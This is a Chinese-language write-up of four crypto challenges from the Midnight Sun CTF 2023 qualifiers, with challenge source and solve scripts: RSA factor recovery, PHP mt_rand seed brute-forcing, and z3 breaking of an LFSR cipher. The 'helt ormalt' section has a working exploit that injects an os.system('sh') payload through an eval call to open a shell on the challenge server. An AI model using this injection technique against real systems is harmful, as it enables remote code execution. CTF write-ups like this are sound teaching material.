Midnight Sun CTF Qualifiers 2023 WriteUps

這次在 xxx 隊伍中解了些 crypto 題目而已,題目比預期中簡單。

Crypto

ikea

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
p = random_prime(2**1024)
q = random_prime(2**1024)
a = randint(0, 2**1024)
b = randint(0, 2**1024)

def read_flag(file='flag.txt'):
with open(file, 'rb') as fin:
flag = fin.read()
return flag

def pad_flag(flag, bits=1024):
pad = os.urandom(bits//8 - len(flag))
return int.from_bytes(flag + pad, "big")

def generate_keys(p, q):
n = p * q
e = 0x10001
return n, e

def encrypt_message(m, e, n):
return pow(m, e, n)

flag = read_flag()
m = pad_flag(flag)

n, e = generate_keys(p, q)
assert m < n

c = encrypt_message(m, e, n)

print(c)
print(n)
print(p + b^2 * q)
print(a^2 * p + q)

最後多的兩數設為 ,然後可以看出 。注意一下 大小都相近,所以 ,實際上兩者的差大概 左右而已所以可以爆 的值。

此時有四個未知數和四個等式,直接用 groebner basis 解就好了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
c = 8572900207835762766259060305548427890100883047397634495461699978853157157614537323169347948562539226943681557963690343113654640872734234635812404134737383783029729221882136594985076147296741783975976308542646646810930077508306094278881958489094577466122474005274780847502484006774122175180575134906406965261990134809789771668692230279546111615898299677351494730026393299745116126441043262641839846131458109835024756668882646302817842268403187061058095410531259459671076936340425779509762997737719853997033122063887141701633633320429028875760558509090378244944304521100714575766987495025277855338621083017737516612418
n = 11144809766924753211164169820974462795856999866851443978190116700121363041989551071283939406281584000345497130693285334786351068731714844065338178589052164965325272282738320690462179192218231489414187602007189279178640751309024526964298676986141201862905207755202946987885824563821850086298674083250354794989520315263319887676335677763156987501376451785566994901716198026893601133060745072362354091538721508265964958576574770694885291955086273571799403020416375990066994984333344295830201448319348356984141129557424755917133168216662244421360263592451413336939492881342257615928593787731918025125347411493314907250137
k1 = 3133548371772245794593916200216569789009977503838749561227383433777720559941789482302916747603629163277628624218728934067099751860342707727093284736792795911695291350493714661780427322085098620600442730601203727048863482544984150704785568558089024822242137835533188983145916911039381864946181510766072421365244229323632933214703949194559838270346065808390788292338719229269524606818971098272185892178470535466837645119304408225231332458404102608745644737712878232270144653748091436259421085576899894410825994764509434190271250735054775427479336540747164022736063724088385024013450114201117597406901351692873529770371805217775170905068961082711810613758277323468498024046033975544974993657043847859384646871490664090364968788225608324873580922409806934637562732699242491794243842510137720412106011270126856983601691379316962610115528724097947971496018172633530779698135626404996346034214279586492856257103552654185991624401974
k2 = 1668414440918184768102355070614199463515793278471647551081913918452877485930426726226888602387669498229921420169090265893271687426728329309931304042833872472475849661618647319286811295064264833639171767419811286840565958014252378459070198913214095511167368116072393143874905742547670514329775410132929858061858466466966832673233837546616958733459536386756690536101619509572857744943940172226354331174483476689882385303341939713713582201065151215959817799687574284712464653518663899972395427884233952547367314997783361776439415679136448860553029913121320416809081351610252174264463832509457873454643897905542501703122708259182482820112852708896076939481486564165447979041966168147292062612542988326875351534914932148857901377696892000822979439668349934754312002375192855438370671607139791178130484207096854031824894563191176002437196868004348552012031601430061559392941224723263095744921218764294325481602675909958988713011638

ab_approx = isqrt(k1 * k2 // n)
while True:
P = QQ["pp,qq,aa,bb"]
pp, qq, aa, bb = P.gens()
I = P.ideal(
[pp * qq - n, pp + bb ^ 2 * qq - k1, aa ^ 2 * pp + qq - k2, aa * bb - ab_approx]
)
V = I.variety(ring=ZZ)
if len(V) == 0:
ab_approx -= 1
continue
sol = V[0]
ppp = ZZ(sol[pp])
qqq = ZZ(sol[qq])
if ppp * qqq == n:
break
ab_approx -= 1

phi = (ppp - 1) * (qqq - 1)
d = inverse_mod(65537, phi)
m = pow(c, d, n)
print(bytes.fromhex(hex(m)[2:]))
# midnight{1_kN0w_3n0ugh_4b0ut_RSA}

Mt. Random

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
session_start();

$flag = "midnight{abcd}";

function flag_to_numbers($flag) {
$numbers = [];
foreach (str_split($flag) as $char) {
$numbers[] = ord($char);
}
return $numbers;
}

function non_continuous_sample($min, $max, $gap_start, $gap_end) {
$rand_num = mt_rand($min, $max - ($gap_end - $gap_start));
if ($rand_num >= $gap_start) {
$rand_num += ($gap_end - $gap_start);
}
return $rand_num;
}

if(!str_starts_with($flag, "midnight{")){
echo "Come back later.\n";
exit();
}

$flag_numbers = flag_to_numbers($flag);

if (isset($_GET['generate_samples'])) {
header('Content-Type: application/json');

// Maybe we can recover these constants
$min = 0;
$max = 0;
$gap_start = 0;
$gap_end = 0;
$seed = mt_rand(0, 10000); // Varying seed
$samples = [];

foreach ($flag_numbers as $number) {
mt_srand($seed + $number);
$samples[] = non_continuous_sample($min, $max, $gap_start, $gap_end);
}

echo json_encode(["samples" => $samples]);
exit();
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Mt. Random</title>
</head>
<body>
<h1>Hiking Guide</h1>
<p>This mountain is boring, I'm going to sample alot of seeds!</p>
<a href="?generate_samples=1">Get a new sample</a>
</body>
</html>

先寫個腳本把資料都抓下來,不用全部跑完也行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import pickle
import os

all_samples = set()
if os.path.exists("all_samples.pkl"):
with open("all_samples.pkl", "rb") as f:
all_samples = pickle.load(f)
while len(all_samples) < 10001:
samples = requests.get(
"http://mtrandom-1.play.hfsc.tf:51237/?generate_samples=1"
).json()["samples"]
all_samples.add(tuple(samples))
print(len(all_samples))
with open("all_samples.pkl", "wb") as f:
pickle.dump(all_samples, f)

然後寫個腳本轉換成 json 並統計一下數字的出現次數可以很容易的看出 min, max, gap_start, gap_end:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import pickle
import json
from collections import Counter

with open('all_samples.pkl', 'rb') as f:
all_samples = pickle.load(f)

with open('all_samples.json', 'w') as f:
json.dump([list(x) for x in all_samples], f)

nums = []
for s in all_samples:
for x in s:
nums.append(x)
print(sorted(Counter(nums).keys()))

之後逐字元爆破 flag,判斷條件是看輸出的數字是否出現在 all samples 中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?php
function flag_to_numbers($flag)
{
$numbers = [];
foreach (str_split($flag) as $char) {
$numbers[] = ord($char);
}
return $numbers;
}

function non_continuous_sample($min, $max, $gap_start, $gap_end)
{
$rand_num = mt_rand($min, $max - ($gap_end - $gap_start));
if ($rand_num >= $gap_start) {
$rand_num += ($gap_end - $gap_start);
}
return $rand_num;
}

const SAMPLES = 10;
$flag = 'midnight{';
$all_samples = json_decode(file_get_contents('all_samples.json'));
$all_samples = array_slice($all_samples, 0, SAMPLES);

function try_flag($flag)
{
global $all_samples;
$flag_numbers = flag_to_numbers($flag);
$x_all_samples = array_map(function ($samples) use ($flag_numbers) {
return array_slice($samples, 0, count($flag_numbers));
}, $all_samples);
$min = 1;
$max = 256;
$gap_start = 100;
$gap_end = 150;
$seed = 0;
$match_cnt = 0;
while ($seed <= 10000) {
$samples = [];
foreach ($flag_numbers as $number) {
mt_srand($seed + $number);
$samples[] = non_continuous_sample($min, $max, $gap_start, $gap_end);
}
if (in_array($samples, $x_all_samples)) {
$match_cnt += 1;
}
$seed += 1;
}
return $match_cnt;
}

$charset = '_{}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$flag = 'midnight{m1nd_th3_g4p}';
while ($flag[-1] != '}') {
$max_match_cnt = 0;
$max_match_char = '';
foreach (str_split($charset) as $char) {
$match_cnt = try_flag($flag . $char);
echo "$char: $match_cnt\n";
if ($match_cnt > $max_match_cnt) {
$max_match_cnt = $match_cnt;
$max_match_char = $char;
}
if ($match_cnt >= SAMPLES / 2) {
break;
}
}
$flag .= $max_match_char;
echo $flag . PHP_EOL;
}

helt ormalt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/python3 -u

__builtins__.KeyboardInterrupt = __builtins__.SystemExit
import hashlib
import asyncio
import asynccmd
del asynccmd.Cmd.do_test

from secrets import FLAG, KEY, CREDS

H = lambda b: hashlib.sha256(b).digest()
EH = lambda *x: print(x[1]['exception'])


def xor(a, b):
return bytes(x ^ y for x, y in zip(a, b))


class Validator:
def __init__(self, buf):
self.buf = buf
self.counter = 0

async def __invert__(self):
self.counter += 1
assert self.counter < 10000, "Invalid login"
xx = xor(H(self.buf[-32:]), self.buf[:32])
self.buf = xx + xor(H(xx), self.buf[-32:])

def __radd__(self, *args):
eval(self.buf[:-32])

def __bool__(self, *args, **kwargs):
return H(self.buf[:32]+KEY) == self.buf[-32:]


class Cli(asynccmd.Cmd):
intro = f'Guest credentials: guest / {CREDS}'
prompt = '>>> '
score = 0

def __init__(self, loop):
self.cmdloop(loop)
self.loop.set_exception_handler(EH)

def do_login(self, arg):
try:
user, password = arg.split()
self.loop.create_task(self.login(user, password))
except ValueError:
raise RuntimeError('Usage: login [username] [password]')

async def login(self, user, password):
if await self.validate(bytes.fromhex(password)):
print("Logged in as {user}.")

async def validate(self, aval):
bval = Validator(aval)
while not bval:
await (~bval)
self.score += bval

def do_play_game_and_get_points(self, arg):
raise NotImplementedError('TODO later, maybe.')

def do_flag(self, arg):
try:
assert self.score > 1337
print(FLAG)
except Exception:
print("Not yet.")


async def main():
Cli(asyncio.get_event_loop())
await asyncio.sleep(60)

if __name__ == '__main__':
asyncio.run(main())

可以注意到它 password 在經過一些 loop 之後直到 hash 有對上後會 eval,而在 remote 登入成功時也沒 error 所以可推斷 eval 的東西應該是正常的字串,所以可以用個 loop 反覆去找那個字串看看是什麼。一個簡單的判斷條件就是 isascii

找到的 eval 字串是: print('\nLogged in as guest.\n'),不過這不是很重要,要知道的只有它對應的後 32 bytes 是對應的 MAC 而已,

另一個關鍵在於它 signature 時只 hash 前 32 字元,和後 32 字元做比較,所以如果我們在中間塞東西的話一樣能通過那個檢查,而 eval(self.buf[:-32]) 卻會包含我們塞進去的東西,所以這邊有 code injection,很簡單就能拿 shell 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import remote
import hashlib

H = lambda b: hashlib.sha256(b).digest()


def xor(a, b):
return bytes(x ^ y for x, y in zip(a, b))


class Validator:
def __init__(self, buf):
self.buf = buf
self.counter = 0

def __invert__(self):
self.counter += 1
assert self.counter < 10000, "Invalid login"
xx = xor(H(self.buf[-32:]), self.buf[:32])
self.buf = xx + xor(H(xx), self.buf[-32:])


io = remote("heltormalt-1.play.hfsc.tf", 2437)
io.recvuntil(b"guest / ")
pwd = io.recvlineS().strip()
v = Validator(bytes.fromhex(pwd))
while True:
if v.buf[:-32].isascii():
print(v.counter, v.buf)
break
~v
pwd2 = (v.buf[:32] + b',__import__("os").system("sh")' + v.buf[-32:]).hex()
io.sendline(f"login guest {pwd2}".encode())
io.interactive()
# env
# midnight{aval_bval_eval}

server 上那個隱藏的 secrets.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import os
import hashlib
import random

FLAG = os.getenv('FLAG')
KEY = os.urandom(32)

H = lambda b : hashlib.sha256(b).digest()

def xor(a,b):
return bytes(x^y for x,y in zip(a,b))

CREDS = b"print('\\nLogged in as guest.\\n')"
CREDS = CREDS + H(CREDS+KEY)

for _ in range(1337 + random.randint(0, 1000)):
buf = CREDS
b = xor(H(buf[:32]), buf[-32:])
a = xor(H(b), buf[:32])
CREDS = a + b

CREDS = CREDS.hex()

del H, xor

dancing bits

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import os
import zlib
from flask import Flask, request, jsonify
from secrets import token_bytes

app = Flask(__name__)

# The secret key and nonce for the DancingBits stream cipher
SECRET_KEY = int.from_bytes(token_bytes(4), 'big')
NONCE = int.from_bytes(token_bytes(4), 'big')

FLAG = "midnight{test}"

def lfsr(state):
bit = ((state >> 31) ^ (state >> 21) ^ (state >> 1) ^ state) & 1
return (state << 1) | bit

def rotl(x, k):
return ((x << k) | (x >> (8 - k))) & 0xff

def swap(x):
return ((x & 0x0f) << 4) | ((x & 0xf0) >> 4)

def dancingbits_encrypt(plaintext, key, nonce):
state = (key << 32) | nonce
ciphertext = bytearray()

for byte in plaintext:
state = lfsr(state)
ks_byte = (state >> 24) & 0xff
c = byte ^ ks_byte
c = rotl(c, 3)
c = swap(c)
ciphertext.append(c)

return ciphertext

def dancingbits_decrypt(ciphertext, key, nonce):
state = (key << 32) | nonce
plaintext = bytearray()

for byte in ciphertext:
state = lfsr(state)
ks_byte = (state >> 24) & 0xff
c = swap(byte)
c = rotl(c, -3)
p = c ^ ks_byte
plaintext.append(p)

return plaintext

@app.route('/encrypted_flag', methods=['GET'])
def encrypted_flag():
compressed_flag = zlib.compress(FLAG.encode('utf-8'))
encrypted_flag = dancingbits_encrypt(compressed_flag, SECRET_KEY, NONCE)
return encrypted_flag

@app.route('/decrypt_oracle', methods=['POST'])
def decrypt_oracle():
encrypted_data = request.data

if len(encrypted_data) < 1:
return jsonify(status=500, message="Error: Data too short")


try:
decrypted_data = dancingbits_decrypt(encrypted_data, SECRET_KEY, NONCE)
decompressed_data = zlib.decompress(decrypted_data)

for i in range(len(decompressed_data.decode('utf-8'))):
if decompressed_data.decode('utf-8')[i] == FLAG[i]:
return jsonify(status=500, message="Error: CTF character at index found: " + str(i))
return jsonify(status=200, message="Success")
except Exception as e:
print(e)
return jsonify(status=500, message="Error")

if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)

看起來是 oracle 題,但是 dancingbits_decrypt 因為那個 -3 的緣故其實是不能用的,畢竟 python 不允許使用負數來做 shifting。

題目關鍵主要在於它 state 轉換是個 lfsr,整個都是線性的,所以應該是能用一個 linear system 解。而 plaintext 部分是 zlib 壓縮的,結合 flag prefix 我們一共可以知道 11 bytes 的 plaintext。

不過用 sage 弄 linear system 有點麻煩,所以我直接偷懶用 z3,不過最後弄出來發現 key 不是唯一的,而用 z3 去 enumerate 所有的可能並不是很有效率,所以需要找個方法算出 key 的 linear system 的 kernel 才方便爆破。

註: 這邊說的 key 其實是指 (key << 32) | nonce)

我的方法是先用 z3 enumerate 大概 1000 把可能的 key,然後觀察有改變的 bits 就能知道 kernel 的 index 了。不過這邊會發現它一共有 4x 個 indexes,以 bruteforce 來說不是不行但計算量還是有點大。後來再仔細看一次 code 我才發現 lfsr 只有 32 bits,所以代表那個 SECRET_KEY 根本沒用,所以未知的 bits 只有 32 bits。這樣再找一次 kernel 的 indexes 會發現只剩 14 個,所以直接 bruteforce 可能的 key 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from z3 import *
import requests
import zlib
from binteger import Bin
from itertools import product


def lfsr(state):
bit = ((state >> 31) ^ (state >> 21) ^ (state >> 1) ^ state) & 1
return (state << 1) | bit


def rotl(x, k):
return ((x << k) | (x >> (8 - k))) & 0xFF


def swap(x):
return ((x & 0x0F) << 4) | ((x & 0xF0) >> 4)


def dancingbits_decrypt(ciphertext, kn):
state = kn
plaintext = bytearray()

for byte in ciphertext:
state = lfsr(state)
ks_byte = (state >> 24) & 0xFF
c = swap(byte)
c = rotl(c, 8 - 3)
p = c ^ ks_byte
plaintext.append(p)

return plaintext


def z3_lfsr(state):
bit = ((LShR(state, 31)) ^ (LShR(state, 21)) ^ (LShR(state, 1)) ^ state) & 1
return (state << 1) | bit


def z3_rotl(x, k):
return RotateLeft(x, k)


def z3_swap(x):
return Concat(Extract(3, 0, x), Extract(7, 4, x))


def z3_dancingbits_encrypt(plaintext, keynonce):
state = keynonce
ciphertext = []

for byte in plaintext:
state = z3_lfsr(state)
ks_byte = Extract(7, 0, LShR(state, 24))
c = byte ^ ks_byte
c = z3_rotl(c, 3)
c = z3_swap(c)
ciphertext.append(c)

return ciphertext


# ct = requests.get("http://dancingbits-1.play.hfsc.tf:23105/encrypted_flag").content
ct = b"\xf0\xd7\xd6\x00k\xfeQ\xcf43\x1a\x8a\xdf\xee\xaa\xbc.\xf8\x1d\xd4\x7fZ\xdd#~F\xbcl\xf0k|,\xf8\xb9\x1f`8X5\x915\xad\x1a"
print(ct)
pt = zlib.compress(b"midnight{xxxxx")[:11]

keynonce = BitVec("kn", 64)
sol = Solver()
sol.add(Extract(63, 32, keynonce) == 0) # LFSR is 32 bits, so key doesn't matter
ct_sym = z3_dancingbits_encrypt(pt, keynonce)
for x, y in zip(ct, ct_sym):
sol.add(x == y)

# there are mutliple solutions, we try to find the kernel
pos = [set() for _ in range(64)]
cnt = 0
while sol.check() == sat and cnt < 1000:
m = sol.model()
kn = m[keynonce].as_long()
for i, x in enumerate(Bin(kn, 64).list):
pos[i].add(x)
sol.add(keynonce != kn)
cnt += 1
kernel = []
for i, x in enumerate(pos):
print(i, x)
if len(x) == 2:
kernel.append(i)
print(kernel)

# brute force the kernel
bv = Bin(kn, 64).list
for bs in product((0, 1), repeat=len(kernel)):
for i, b in zip(kernel, bs):
bv[i] = b
rec_pt = dancingbits_decrypt(ct, Bin(bv).int)
try:
print(zlib.decompress(rec_pt))
except:
pass
# midnight{th3_h0t_n3w_str3am_c1pher}